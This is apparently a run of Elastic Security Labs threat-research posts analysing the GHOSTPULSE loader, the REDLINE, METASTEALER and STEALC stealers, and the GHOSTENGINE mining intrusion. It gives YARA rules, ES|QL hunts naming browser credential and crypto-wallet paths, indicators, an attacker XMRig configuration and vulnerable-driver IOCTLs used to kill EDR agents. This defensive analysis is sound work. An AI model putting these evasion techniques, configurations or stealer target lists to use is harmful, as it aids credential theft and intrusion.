Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

| Observable | Type | Name | Reference | |-----|-----|-----|-----| | 27e4a3627d7df2b22189dd4bebc559ae1986d49a8f4e35980b428fadb66cf23d | SHA-256 | num.exe | STEALC | | 08d9d4e6489dc5b05a6caa434fc36ad6c1bd8c8eb08888f61cbed094eac6cb37 | SHA-256 | HardCoreCrack.exe | PHEMEDRONE | | 43cb70d31daa43d24e5b063f4309281753176698ad2aba9c557d80cf710f9b1d | SHA-256 | Ranginess.exe | METASTEALER | | 84033def9ffa70c7b77ce9a7f6008600c0145c28fe5ea0e56dfafd8474fb8176 | SHA-256 | | LUMMA | | b74733d68e95220ab0630a68ddf973b0c959fd421628e639c1b91e465ba9299b | SHA-256 | XenoStealer.exe | XENOSTEALER |

References

The following were referenced throughout the above research:

Tricks and Treats: GHOSTPULSE’s new pixel-level deception

Salim Bitam — Sat, 19 Oct 2024 00:00:00 GMT

Update

This research covers an update to stage 2 of GHOSTPULSE, originally disclosed by Elastic Security Labs in October 2023.

Key takeaways

GHOSTPULSE has shifted from using the IDAT chunk of PNG files to embedding its encrypted configuration and payload within the pixel structure.
Recent campaigns involve tricking victims with creative social engineering techniques, such as CAPTCHA validations that trigger malicious commands through Windows keyboard shortcuts.
Elastic Security has enhanced its YARA rules and updated the configuration extractor tool to detect and analyze both the old and new versions of GHOSTPULSE.

Preamble

The GHOSTPULSE malware family (also known as HIJACKLOADER or IDATLOADER) has continuously evolved since its discovery in 2023, evading detection with increasingly developed techniques.

In its earlier iterations, GHOSTPULSE abused the IDAT chunk of PNG files to hide malicious payloads, as detailed in a previous article from Elastic Security Labs. However, recent analysis has uncovered a significant change in its algorithm. Instead of extracting the payload from the IDAT chunk, the latest version of GHOSTPULSE now parses the pixels of the image to retrieve its configuration and payload. This new approach involves embedding malicious data directly within the pixel structure.

In this research publication, we’ll explore this new pixel-based algorithm and compare it with the previous IDAT chunk technique with updated detection rules.

Introduction

Recently, we've observed several campaigns involving LUMMA STEALER using GHOSTPULSE as its loader, a topic also explored by HarfangLab. These campaigns stand out due to their creative social engineering tactics. Victims are tricked into validating a CAPTCHA, but the website instructs them to execute a series of Windows keyboard shortcuts instead of the usual process. These shortcuts trigger a command copied to the clipboard by malicious JavaScript. This leads to a PowerShell script being executed, initiating the infection chain by downloading and executing a GHOSTPULSE payload.

In previous versions of GHOSTPULSE, it was delivered as part of a multi-file package. This package typically contained a benign executable, an infected DLL loaded by the executable, and a PNG file storing the encrypted configuration.

However, in the latest version, GHOSTPULSE has streamlined its deployment. Now, the entire package consists of a single file—a benign but compromised executable that includes the PNG file within its resources section.

Technical analysis

The updated second stage of the malware retains much of its previous structure, including using the same hashing algorithm for resolving Windows API names. However, the most significant change is in how the malware now locates its configuration, which holds both the payload and critical instructions for its deployment.

The following is a screenshot showing the pseudocode of both implementations:

In earlier versions, GHOSTPULSE would parse a PNG file for an encrypted data blob, which was divided into chunks and stored sequentially. The malware’s parsing process was straightforward: it would search for a specific marker within the file—in this case, the IDAT string. Once found, the malware would check for a 4-byte tag that followed the string. The encrypted chunk would be extracted if this tag matched the expected value. This process continues for every occurrence of the IDAT string that comes after until the full encrypted payload is collected.

In the new version, the encrypted configuration is stored in the pixels of the image. The malware constructs a byte array by extracting each pixel's RED, GREEN, and BLUE (RGB) values sequentially using standard Windows APIs from the GdiPlus(GDI+) library. Once the byte array is built, the malware searches for the start of a structure that contains the encrypted GHOSTPULSE configuration, including the XOR key needed for decryption. It does this by looping through the byte array in 16-byte blocks. For each block, the first 4 bytes represent a CRC32 hash, and the next 12 bytes are the data to be hashed. The malware computes the CRC32 of the 12 bytes and checks if it matches the hash. If a match is found, it extracts the offset of the encrypted GHOSTPULSE configuration, its size, and the 4-byte XOR key, and then XOR decrypts it.

The following diagram provides a visual breakdown of this process:

Updated configuration extractor

Based on these findings, we have updated our configuration extractor to support both versions of GHOSTPULSE. This tool takes a PNG file as input and outputs the embedded payload. You can find the updated tool in our labs-releases repository.

Detecting GHOSTPULSE with YARA

The original GHOSTPULSE YARA rule still prevents the final stage of an infection and is built into Elastic Defend. The updated sample can be detected using the following YARA rules and will be included with Elastic Defend in a future release.

Elastic Security has updated the GHOSTPULSE YARA rules to identify this activity:

rule Windows_Trojan_GHOSTPULSE_1 {
    meta:
        author = "Elastic Security"
        creation_date = "2024-10-15"
        last_modified = "2024-10-15"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "GHOSTPULSE"
        threat_name = "Windows.Trojan.GHOSTPULSE"
        license = "Elastic License v2"

    strings:
        $stage_1 = { 49 63 D0 42 8B 0C 0A 41 03 CA 89 0C 1A 8B 05 ?? ?? ?? ?? 44 03 C0 8B 05 ?? ?? ?? ?? 44 3B C0 }
        $stage_2 = { 48 89 01 48 8B 84 24 D8 00 00 00 48 8B 4C 24 78 8B 49 0C 89 08 C7 44 24 44 00 00 00 00 }

    condition:
        any of them
}

rule Windows_Trojan_GHOSTPULSE_2 {
    meta:
        author = "Elastic Security"
        creation_date = "2024-10-10"
        last_modified = "2024-10-10"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "GHOSTPULSE"
        threat_name = "Windows.Trojan.GHOSTPULSE"
        license = "Elastic License v2"

    strings:
        $a1 = { 48 83 EC 18 C7 04 24 00 00 00 00 8B 04 24 48 8B 4C 24 20 0F B7 04 41 85 C0 74 0A 8B 04 24 FF C0 89 04 24 EB E6 C7 44 24 08 00 00 00 00 8B 04 24 FF C8 8B C0 48 8B 4C 24 20 0F B7 04 41 83 F8 5C }

    condition:
        all of them
}

Conclusion

In summary, the GHOSTPULSE malware family has evolved since its release in 2023, with this recent update marking one of the most significant changes.

As attackers continue to innovate, defenders must adapt by utilizing updated tools and techniques to mitigate these threats effectively. We are excited to share our newly developed configuration extractor tool, designed to analyze the older and newer versions of GHOSTPULSE. This tool empowers researchers and cybersecurity professionals by providing enhanced capabilities for understanding and combating these evolving threats. As the landscape of cyber threats changes, collaboration, and innovation remain essential for effective protection.

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

| Observable | Type | Name | Reference | |------------------------------------------------------------------|-------------|-----------------|------------------------------------------| | 57ebf79c384366162cb0f13de0de4fc1300ebb733584e2d8887505f22f877077 | SHA-256 | Setup.exe | GHOSTPULSE sample | | b54d9db283e6c958697bfc4f97a5dd0ba585bc1d05267569264a2d700f0799ae | SHA-256 | Setup_light.exe | GHOSTPULSE sample | | winrar01.b-cdn[.]net | domain-name | | Infrastructure hosting GHOSTPULSE sample | | reinforcenh[.]shop | domain-name | | LUMMASTEALER C2 | | stogeneratmns[.]shop | domain-name | | LUMMASTEALER C2 | | fragnantbui[.]shop | domain-name | | LUMMASTEALER C2 | | drawzhotdog[.]shop | domain-name | | LUMMASTEALER C2 | | vozmeatillu[.]shop | domain-name | | LUMMASTEALER C2 | | offensivedzvju[.]shop | domain-name | | LUMMASTEALER C2 | | ghostreedmnu[.]shop | domain-name | | LUMMASTEALER C2 | | gutterydhowi[.]shop | domain-name | | LUMMASTEALER C2 | | riderratttinow[.]shop | domain-name | | LUMMASTEALER C2 |

Globally distributed stealers

Salim Bitam,Daniel Stepanic,Terrance DeJesus,Samir Bousseaden — Fri, 24 May 2024 00:00:00 GMT

Introduction

This article describes our analysis of the top Windows malware stealer families that we’ve identified, unveiling their operation methodologies, recent updates, and configurations. By understanding the modus operandi of each family, we better comprehend the magnitude of their impact and can fortify our defences accordingly. Additionally, we’ll examine our unique telemetry to offer insights about the current volume associated with these prevalent malware stealer families.

Mitigating this kind of covert threat requires a multi-faceted approach consistent with defense-in-depth principles. We will likewise describe various techniques for detection, including the use of ES|QL hunting queries and Yara rules which empower organizations to proactively defend against them.

Telemetry overview

The telemetry data showcased in this article encompasses insights gathered from both internal and external sources, providing a comprehensive understanding of threat activity.

Notably, between 2022 and 2023, REDLINE emerged as the most prevalent malware in the wild, closely trailed by AGENT TESLA, VIDAR, and then STEALC. It's worth highlighting that this period marked the debut of STEALC in the wild, indicative of evolving threat landscapes.

In the subsequent time frame, spanning from 2023 to 2024, there was a notable spike in AGENT TESLA activity, followed by REDLINE, STEALC, and VIDAR, reflecting shifting trends in malware prevalence and distribution.

Elastic telemetry data May 2023 - May 2024

Despite fluctuations in general malware prevalence, AGENT TESLA has consistently maintained its position as a prominent threat. This enduring dominance can be attributed to several factors, including its relatively low price point and enticing capabilities, which appeal to a wide range of threat actors, particularly those operating with limited resources or expertise.

A noteworthy observation is that due to METASTEALER’s foundation on REDLINE, certain METASTEALER samples may inadvertently fall under the categorization of REDLINE.

Top stealers overview

REDLINE (REDLINE STEALER)

REDLINE made its debut in the threat landscape in 2020, leveraging email as its initial distribution method; it operates on a Malware-as-a-Service (MaaS) model, making it accessible to a wide range of threat actors. Its affordability and availability in underground forums have contributed to its popularity among cybercriminals.

The latest operations of REDLINE involve multiple infection vectors, including email phishing, malicious websites hosting seemingly legitimate applications, and social engineering tactics. Our researchers analyzed a recent sample reported by vx-underground indicating a campaign targeting engineers on the freelancing platform Fiverr. This tactic poses significant risks, potentially leading to the compromise of companies through unsuspecting freelancers.

REDLINE is built on the .NET framework, which provides it with portability and ease of implementation. It has a variety of functionalities aimed at gathering vital system information and extracting sensitive data:

System information acquisition:
Collects essential system details such as UserName, Language, and Time Zone
Retrieves hardware specifics including processor and graphic card information
Monitors running processes and identifies installed browsers
Data extraction:
Targets browser data repositories, extracting saved passwords, credit card details, cookies, and auto-fill entries
Procures VPN login credentials for unauthorized access
Logs user credentials and chat histories from platforms like Discord and Telegram
Identifies and steals cryptocurrency wallets, potentially compromising valuable digital assets:

REDLINE uses a string obfuscation technique to hinder analysis and evade detection based on strings like yara by dynamically constructing the strings at runtime from an array of characters:

Its configuration is structured within a static class, containing four public fields: IP, ID, Message, and an XOR Key. The IP and ID fields contents are encrypted using XOR encryption and then encoded in base64 as depicted below:

METASTEALER

METASTEALER emerged in 2022, initially advertised as a derivative of REDLINE, with additional features; our malware analysts recently encountered a sample of METASTEALER within a campaign masquerading as Roblox, previously reported by CERT as Orange Polska.

METASTEALER is primarily developed using the .NET framework, facilitating its compatibility with Windows environments and enabling ease of implementation. Certain versions employ obfuscation methods, including obscuring the control flow of the malware and making it more challenging to detect or analyze.

This METASTEALER sample utilizes the AGILE.NET obfuscator, specifically its proxy call obfuscation method. This technique is used to conceal the direct invocation of an original function by introducing an additional layer of abstraction. Instead of directly invoking the function, AGILE.NET generates a proxy method that then invokes the original function. This added complexity makes it more challenging for code analysts to discern the sequence of actions.

Looking at the code above, we can see the method Delegate11.smethod_0 calls a Delegate11.delegate11_0 which is not initialized, introducing ambiguity during static analysis as analysts cannot determine which method will actually be executed.

At runtime, the malware will initialize the delegate. by calling the method Class4.smethod_13 in the constructor of Delegate11 class, this method constructs a dictionary of token values, where each key represents the token value of a delegate (e.g., 0x040002DE), and its corresponding value represents the token of the original method to be executed. This dictionary is constructed from a sequence of bytes stored in the binary, enabling dynamic resolution of method invocations during runtime.

Following this, it will generate a dynamic method for the delegate and execute it using the smethod_0 function.

All the important strings in the configuration, like the C2 IP address and port, are encrypted. The malware has a class called Strings that is called at the start of execution to decrypt all the strings at once, a process involving a combination of Base64 encoding, XOR decryption, and AES CBC decryption.

Initially, the AES parameters, such as the AES KEY and AES IV, undergo decryption. In the provided example, the AES KEY and AES IV are first base64 decoded. Subsequently, they are subjected to XOR decryption using a predetermined XOR key, followed by two consecutive base64 decoding steps.

The Strings class holds byte arrays that are decrypted using AES CBC after being reversed, and then appended to the Strings.Array list. Later, when the malware requires specific strings, it accesses them by indexing this list. For example String.get(6).

STEALC

A recent major player in the stealer space discovered by Sekoia in February 2023 is the STEALC family. This malware was first advertised in an underground forum in January 2023 where the developer mentioned a major dependency on existing families such as VIDAR, RACOON, and REDLINE. Since this timeframe, our team has observed new STEALC samples daily showing signs of popularity and adoption by cybercriminals.

STEALC is implemented in C and includes features like dynamic imports, string obfuscation, and various anti-analysis checks prior to activating its data-stealing capabilities. In order to protect the binary and its core features, STEALC encrypts its strings using a combination of Base64 + RC4 using a hardcoded key embedded in each sample.

There are 6 separate functions used for anti-analysis/anti-sandbox checks within STEALC. Based on the number of processors, STEALC will terminate itself if the active processor count is less than 2.

STEALC performs a sandbox/emulation test using a more obscure Windows API (VirtualAllocExNuma) to allocate a large amount of memory. If the API is not implemented, the process will terminate.

The malware performs another sandbox check by reading values from GlobalMemoryStatusEx. After a byte shift against the collected attributes of the physical memory, if the value is less than 0x457 the sample will terminate.

The malware will stop execution if the language identifier matches one of the following LangIDs:

Russian_Russia (0x419)
Ukrainian_Ukraine (0x422)
Belarusian_Belarus (0x423)
Kazakh_Kazakhstan (0x43f)
Uzbek_Latin__Uzbekistan (0x443)

STEALC also incorporates the Microsoft Defender emulation check, we have observed this in many stealers such as seen in LOBSHOT. STEALC will terminate if the following hard-coded values match inside Microsoft Defender’s emulation layer with the username JohnDoe and computer name of HAL9TH.

One of the more impactful anti-analysis checks that comes with STEALC is an expiration date. This unique value gets placed into the malware’s config to ensure that the stealer won’t execute after a specific date set by the builder. This allows the malware to keep a lower profile by using shorter turnarounds in campaigns and limiting the execution in sandbox environments.

STEALC - Execution flow

After its initial execution, STEALC will send the initial hardware ID of the machine and receive a configuration from the C2 server:

f960cc969e79d7b100652712b439978f789705156b5a554db3acca13cb298050efa268fb|done|tested.file|1|1|1|1|1|1|1|1|

After this request, it will send multiple requests to receive an updated list of targeted browsers and targeted browser extensions. Below is an example of the browser configuration, this contains the targeted directory path where the sensitive data is stored.

Google Chrome|\Google\Chrome\User Data|chrome|chrome.exe|Google Chrome Canary|\Google\Chrome SxS\User Data|chrome|chrome.exe|Chromium|\Chromium\User Data|chrome|chrome.exe|Amigo|\Amigo\User Data|chrome|0|Torch|\Torch\User Data|chrome|0|Vivaldi|\Vivaldi\User Data|chrome|vivaldi.exe|Comodo Dragon|\Comodo\Dragon\User Data|chrome|0|EpicPrivacyBrowser|\Epic Privacy Browser\User Data|chrome|0|CocCoc|\CocCoc\Browser\User Data|chrome|0|Brave|\BraveSoftware\Brave-Browser\User Data|chrome|brave.exe|Cent Browser|\CentBrowser\User Data|chrome|0|7Star|\7Star\7Star\User Data|chrome|0|Chedot Browser|\Chedot\User Data|chrome|0|Microsoft Edge|\Microsoft\Edge\User Data|chrome|msedge.exe|360 Browser|\360Browser\Browser\User Data|chrome|0|QQBrowser|\Tencent\QQBrowser\User Data|chrome|0|CryptoTab|\CryptoTab Browser\User Data|chrome|browser.exe|Opera Stable|\Opera Software|opera|opera.exe|Opera GX Stable|\Opera Software|opera|opera.exe|Mozilla Firefox|\Mozilla\Firefox\Profiles|firefox|0|Pale Moon|\Moonchild Productions\Pale Moon\Profiles|firefox|0|Opera Crypto Stable|\Opera Software|opera|opera.exe|Thunderbird|\Thunderbird\Profiles|firefox|0|

At this point, STEALC will then collect a broad range of victim information. This information is then formatted, Base64 encoded, and then sent to the C2 server over POST requests using form data fields.

Hardware ID
Windows OS product info
Processor / RAM information
Username / computername
Local system time / time zone / locale of victim
Keyboard layout
Battery check (used to determine if laptop or not)
Desktop resolution, display info
Installed programs, running processes

For the stealing component, STEALC leverages the received configurations in order to collect various valuable information including:

Browser cookies
Login data
Web data
History
Cryptocurrency wallets

STEALC also offers other various configuration options including:

Telegram data
Discord
Tox
Pidgin
Steam
Outlook emails

| | RedLine Stealer | Meta Stealer | Stealc | | --- | --- | --- | --- | | First time seen in the wild | 2020 | 2022 | 2023 | | Source Language | C# | C# | C | | Average size (unpacked) | 253 KB | 278 KB | 107 KB | | String obfuscation? Algo? | Yes | Yes | Yes (custom RC4 + base64) |

Detection

To fully leverage detection capabilities listed below for these threats with Elastic Security, it is essential to integrate Elastic Defend and Windows.

ES|QL queries

The following list of hunts and detection queries can be used to detect stealers activities:

Identifies untrusted or unsigned executables making DNS requests to Telegram or Discord domains, which may indicate command-and-control communication attempts.

  from logs-endpoint*
  | where (process.code_signature.trusted == false or process.code_signature.exists == false)
  | where dns.question.name in ("api.telegram.com", "cdn.discordapp.com",
                                  "discordapp.com", "discord.com","discord.gg","cdn.discordapp.com")
  | stats executable_count = count(*) by process.executable, process.name, dns.question.name
  | sort executable_count desc

Detects suspicious activies targeting crypto wallets files and configurations stored on Windows systems.

  from logs-endpoint.events.file-*
  | where @timestamp > now() - 14 days
  | where host.os.type == "windows"
  and event.category == "file"
  and event.action == "open" 
  and (
    file.path rlike """C:\\Users\\.+\\AppData\\Roaming\\.+\\(Bitcoin|Ethereum|Electrum|Zcash|Monero|Wallet|Litecoin|Dogecoin|Coinbase|Exodus|Jaxx|MyEtherWallet|MetaMask)\\.*"""
    or file.path rlike """C:\\ProgramData\\.+\\(Bitcoin|Ethereum|Electrum|Zcash|Monero|Wallet|Litecoin|Dogecoin|Coinbase|Exodus|Jaxx|MyEtherWallet|MetaMask)\\.*"""
  )
  | keep process.executable, process.name, host.id, file.path, file.name
  | stats number_hosts = count_distinct(host.id), unique_files = count_distinct(file.name) by process.executable
  | where number_hosts == 1 and unique_files >= 3
  | sort number_hosts desc

Monitors access to sensitive browser data, such as cookies, login data, and browsing history, which may indicate information-stealing malware activities.

  from logs-endpoint.events.file-*, logs-windows.sysmon_operational-default-*
  | where @timestamp > now() - 14 days
  | where host.os.type == "windows"
  and event.category == "file"
  and event.action in ("open", "modification")
  and (
    file.path rlike "C:\\\\Users\\\\.+\\\\AppData\\\\Local\\\\(Google\\\\Chrome\\\\User Data\\\\.*|Google\\\\Chrome SxS\\\\User Data\\\\.*|Chromium\\\\User Data\\\\.*|Amigo\\\\User Data\\\\.*|Torch\\\\User Data\\\\.*|Vivaldi\\\\User Data\\\\.*|Comodo\\\\Dragon\\\\User Data\\\\.*|Epic Privacy Browser\\\\User Data\\\\.*|CocCoc\\\\Browser\\\\User Data\\\\.*|BraveSoftware\\\\Brave-Browser\\\\User Data\\\\.*|CentBrowser\\\\User Data\\\\.*|7Star\\\\7Star\\\\User Data\\\\.*|Chedot\\\\User Data\\\\.*|Microsoft\\\\Edge\\\\User Data\\\\.*|360Browser\\\\Browser\\\\User Data\\\\.*|Tencent\\\\QQBrowser\\\\User Data\\\\.*|CryptoTab Browser\\\\User Data\\\\.*|Opera Software\\\\Opera Stable\\\\.*|Opera Software\\\\Opera GX Stable\\\\.*)\\\\(Default|Profile \\\\d+)\\\\(Cookies|Login Data|Web Data|History|Bookmarks|Preferences|Visited Links|Network Action Predictor|Top Sites|Favicons|Shortcuts)"
    or file.path rlike "C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Mozilla\\\\Firefox\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|places.sqlite|key4.db|cert9.db)"
    or file.path rlike "C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Moonchild Productions\\\\Pale Moon\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|places.sqlite|key3.db|cert8.db)"
    or file.path rlike "C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Thunderbird\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|key4.db|cert9.db)"
  )
  | keep process.executable, process.name, event.action, host.id, host.name, file.path, file.name
  | eval process_path = replace(process.executable, "([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}|ns[a-z][A-Z0-9]{3,4}\\.tmp|DX[A-Z0-9]{3,4}\\.tmp|7z[A-Z0-9]{3,5}\\.tmp|[0-9\\.\\-_]{3,})", "")
  | eval process_path = replace(process_path, "[cC]:\\\\[uU][sS][eE][rR][sS]\\\\[a-zA-Z0-9\\.\\-_\\$~ ]+\\\\", "C:\\\\users\\\\user\\\\")
  | eval normalized_file_path = replace(file.path, "[cC]:\\\\[uU][sS][eE][rR][sS]\\\\[a-zA-Z0-9\\.\\-_\\$~ ]+\\\\", "C:\\\\users\\\\user\\\\")
  | stats number_hosts = count_distinct(host.id) by process.executable, process.name, event.action, normalized_file_path, file.name, host.name
  | where number_hosts == 1
  | sort number_hosts desc

Yara rules

Conclusion

In conclusion, it's crucial to recognize that these malware threats pose significant risks to both companies and individuals alike. Their affordability makes them accessible not only to sophisticated cybercriminals but also to small-time offenders and script kiddies. This accessibility underscores the democratisation of cybercrime, where even individuals with limited technical expertise can deploy malicious software.

Elastic's comprehensive suite of security features offers organisations and individuals the tools they need to defend against malware attacks effectively. From advanced threat detection to real-time monitoring and response capabilities.

Invisible miners: unveiling GHOSTENGINE’s crypto mining operations

Salim Bitam,Samir Bousseaden,Terrance DeJesus,Andrew Pease — Wed, 22 May 2024 00:00:00 GMT

Preamble

Elastic Security Labs has identified an intrusion set incorporating several malicious modules and leveraging vulnerable drivers to disable known security solutions (EDRs) for crypto mining. Additionally, the team discovered capabilities to establish persistence, install a previously undocumented backdoor, and execute a crypto-miner. We refer to this intrusion set as REF4578 and the primary payload as GHOSTENGINE (tangental research by the team at Antiy has named parts of this intrusion set HIDDENSHOVEL).

Key takeaways

Malware authors incorporated many contingency and duplication mechanisms
GHOSTENGINE leverages vulnerable drivers to terminate and delete known EDR agents that would likely interfere with the deployed and well-known coin miner
This campaign involved an uncommon amount of complexity to ensure both the installation and persistence of the XMRIG miner

Code analysis

On May 6, 2024, at 14:08:33 UTC, the execution of a PE file named Tiworker.exe (masquerading as the legitimate Windows TiWorker.exe file) signified the beginning of the REF4578 intrusion. The following alerts were captured in telemetry, indicating a known vulnerable driver was deployed.

Upon execution, this file downloads and executes a PowerShell script that orchestrates the entire execution flow of the intrusion. Analysis revealed that this binary executes a hardcoded PowerShell command line to retrieve an obfuscated script, get.png, which is used to download further tools, modules, and configurations from the attacker C2– as depicted in the screenshot below.

GHOSTENGINE

GHOSTENGINE is responsible for retrieving and executing modules on the machine. It primarily uses HTTP to download files from a configured domain, with a backup IP in case domains are unavailable. Additionally, it employs FTP as a secondary protocol with embedded credentials. The following is a summary of the execution flow:

This script downloads and executes clearn.png, a component designed to purge the system of remnants from prior infections belonging to the same family but different campaign; it removes malicious files under C:\Program Files\Common Files\System\ado and C:\PROGRA~1\COMMON~1\System\ado\ and removes the following scheduled tasks by name:

Microsoft Assist Job
System Help Center Job
SystemFlushDns
SystemFlashDnsSrv

Evidence of those scheduled task artifacts may be indicators of a prior infection.

During execution, it attempts to disable Windows Defender and clean the following Windows event log channels:

Application
Security
Setup
System
Forwarded Events
Microsoft-Windows-Diagnostics-Performance
Microsoft-Windows-AppModel-Runtime/Operational
Microsoft-Windows-Winlogon/Operational

get.png disables Windows Defender, enables remote services, and clears the contents of:

C:\Windows\Temp\
C:\Windows\Logs\
C:\$Recycle.Bin\
C:\windows\ZAM.krnl.trace

get.png also verifies that the C:\ volume has at least 10 MB of free space to download files, storing them in C:\Windows\Fonts. If not, it will try to delete large files from the system before looking for another suitable volume with sufficient space and creating a folder under $RECYCLE.BIN\Fonts.

To get the current DNS resolution for the C2 domain names, GHOSTENGINE uses a hardcoded list of DNS servers, 1.1.1.1 and 8.8.8.8.

Next, to establish persistence, get.png creates the following scheduled tasks as SYSTEM:

OneDriveCloudSync using msdtcto run the malicious service DLL C:\Windows\System32\oci.dll every 20 minutes (described later)
DefaultBrowserUpdate to run C:\Users\Public\run.bat, which downloads the get.png script and executes it every 60 minutes
OneDriveCloudBackup to execute C:\Windows\Fonts\smartsscreen.exe every 40 minutes

get.png terminates all curl.exe processes and any PowerShell process with *get.png* in its command line, excluding the current process. This is a way to terminate any concurrently running instance of the malware.

This script then downloads config.txt, a JSON file containing the hashes of the PE files it retrieved. This file verifies whether any updated binaries are to be downloaded by checking the hashes of the previously downloaded files from any past infections.

Finally,get.png downloads all of its modules and various PE files. Below is a table containing a description of each downloaded file:

| path | Type | Description | |------------------------------------------------|-------------------|--------------------------------------------------------------------------------------------------------------------------------------------| | C:\Windows\System32\drivers\aswArPots.sys | Kernel driver | Vulnerable driver from Avast | | C:\Windows\System32\drivers\IObitUnlockers.sys | Kernel driver | Vulnerable driver from IObit | | C:\Windows\Fonts\curl.exe | PE executable | Used to download files via cURL | | C:\Windows\Fonts\smartsscreen.exe | PE executable | Core payload (GHOSTENGINE), its main purpose is to deactivate security instrumentation, complete initial infection, and execute the miner. | | C:\Windows\System32\oci.dll | Service DLL | Persistence/updates module | | backup.png | Powershell script | Backdoor module | | kill.png | Powershell script | A PowerShell script that injects and executes a PE file responsible for killing security sensors |

GHOSTENGINE modules

GHOSTENGINE deploys several modules that can tamper with security tools, create a backdoor, and check for software updates.

EDR agent controller and miner module: smartsscreen.exe

This module primarily terminates any active EDR agent processes before downloading and installing a crypto-miner.

The malware scans and compares all the running processes with a hardcoded list of known EDR agents. If there are any matches, it first terminates the security agent by leveraging the Avast Anti-Rootkit Driver file aswArPots.sys with the IOCTL 0x7299C004 to terminate the process by PID.

smartscreen.exe is then used to delete the security agent binary with another vulnerable driver, iobitunlockers.sys from IObit, with the IOCTL 0x222124.

smartscreen.exe then downloads the XMRig client mining program (WinRing0x64.png) from the C2 server as taskhostw.png. Finally, it executes XMRig, its drivers, and the configuration file config.json, starting the mining process.

Update/Persistence module: oci.dll

The PowerShell script creates a service DLL (oci.dll), a phantom DLL loaded by msdtc. The DLL's architecture varies depending on the machine; it can be 32-bit or 64-bit. Its primary function is to create system persistence and download any updates from the C2 servers by downloading the get.png script from the C2 and executing it.

Every time the msdtc service starts, it will load oci.dll to spawn the PowerShell one-liner that executes get.png :

EDR agent termination module: `kill.png`

kill.png is a PowerShell script that injects shellcode into the current process, decrypting and loading a PE file into memory.

This module is written in C++, and the authors have integrated redundancy into its operation. This redundancy is evident in the replication of the technique used in smartsscreen.exe to terminate and delete EDR agent binaries; it continuously scans for any new processes.

Powershell backdoor module: `backup.png`

The PowerShell script functions like a backdoor, enabling remote command execution on the system. It continually sends a Base64-encoded JSON object containing a unique ID, derived from the current time and the computer name while awaiting base64-encoded commands. The results of those commands are then sent back.

In this example eyJpZCI6IjE3MTU2ODYyNDA3MjYyNiIsImhvc3QiOiJhbmFseXNpcyJ9 is the Base64-encoded JSON object:

$ echo "eyJpZCI6IjE3MTU2ODYyNDA3MjYyNiIsImhvc3QiOiJhbmFseXNpcyJ9" | base64 -D
{"id":"171568624072626","host":"analysis"}

Miner configuration

XMRig is a legitimate crypto miner, and they have documented the configuration file usage and elements here. As noted at the beginning of this publication, the ultimate goal of the REF4578 intrusion set was to gain access to an environment and deploy a persistent Monero crypto miner, XMRig.

We extracted the configuration file from the miner, which was tremendously valuable as it allowed us to report on the Monero Payment ID and track the worker and pool statistics, mined cryptocurrency, transaction IDs, and withdrawals.

Below is an excerpt from the REF4578 XMRig configuration file:

{
    "autosave": false,
    "background": true,
    "colors": true,

...truncated...

    "donate-level": 0,
    "donate-over-proxy": 0,
    "pools": [
        {
            "algo": "rx/0",
            "coin": "monero",
            "url": "pool.supportxmr[.]com:443",
            "user": "468ED2Qcchk4shLbD8bhbC3qz2GFXqjAUWPY3VGbmSM2jfJw8JpSDDXP5xpkMAHG98FHLmgvSM6ZfUqa9gvArUWP59tEd3f",
            "keepalive": true,
            "tls": true

...truncated...

    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36",
    "verbose": 0,
    "watch": true,
    "pause-on-battery": false,
    "pause-on-active": false
}

Monero Payment ID

Monero is a blockchain cryptocurrency focusing on obfuscation and fungibility to ensure anonymity and privacy. The Payment ID is an arbitrary and optional transaction attachment that consists of 32 bytes (64 hexadecimal characters) or 8 bytes (in the case of integrated addresses).

Using the Payment ID from the above configuration excerpt (468ED2Qcchk4shLbD8bhbC3qz2GFXqjAUWPY3VGbmSM2jfJw8JpSDDXP5xpkMAHG98FHLmgvSM6ZfUqa9gvArUWP59tEd3f) we can view the worker and pool statistics on one of the Monero Mining Pool sites listed in the configuration.

Additionally, we can see the transaction hashes, which we can look up on the Monero blockchain explorer. Note that while transactions date back four months ago, this only indicates the potential monetary gain by this specific worker and account.

Using the Blockchain Explorer and one of the transaction hashes we got from the Payment ID, we can see the public key, the amount is withdrawn, and when. Note that these public keys are used with one-time addresses, or stealth addresses that the adversary would then use a private key with to unlock the funds.

In the above example for transaction 7c106041de7cc4c86cb9412a43cb7fc0a6ad2c76cfdb0e03a8ef98dd9e744442 we can see that there was a withdrawal of 0.109900000000 XMR (the abbreviation for Monero) totaling $14.86 USD. The Monerao Mining Pool site shows four transactions of approximately the same amount of XMR, totaling approximately $60.70 USD (January - March 2024).

As of the publication of this research, there are still active miners connected to the REF4578 Payment ID.

While this specific Payment ID does not appear to be a big earner, it is evident that REF4578 could operate this intrusion set successfully. Other victims of this campaign could have different Payment IDs used to track intrusions, which could be combined for a larger overall haul.

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Mitigating GHOSTENGINE

Detection

The first objective of the GHOSTENGINE malware is to incapacitate endpoint security solutions and disable specific Windows event logs, such as Security and System logs, which record process creation and service registration. Therefore, it is crucial to prioritize the detection and prevention of these initial actions:

Suspicious PowerShell execution
Execution from unusual directories
Elevating privileges to system integrity
Deploying vulnerable drivers and establishing associated kernel mode services.

Once the vulnerable drivers are loaded, detection opportunities decrease significantly, and organizations must find compromised endpoints that stop transmitting logs to their SIEM.

Network traffic may generate and be identifiable if DNS record lookups point to known mining pool domains over well-known ports such as HTTP (80) and HTTPS (443). Stratum is also another popular network protocol for miners, by default, over port 4444.

The analysis of this intrusion set revealed the following detection rules and behavior prevention events:

Prevention
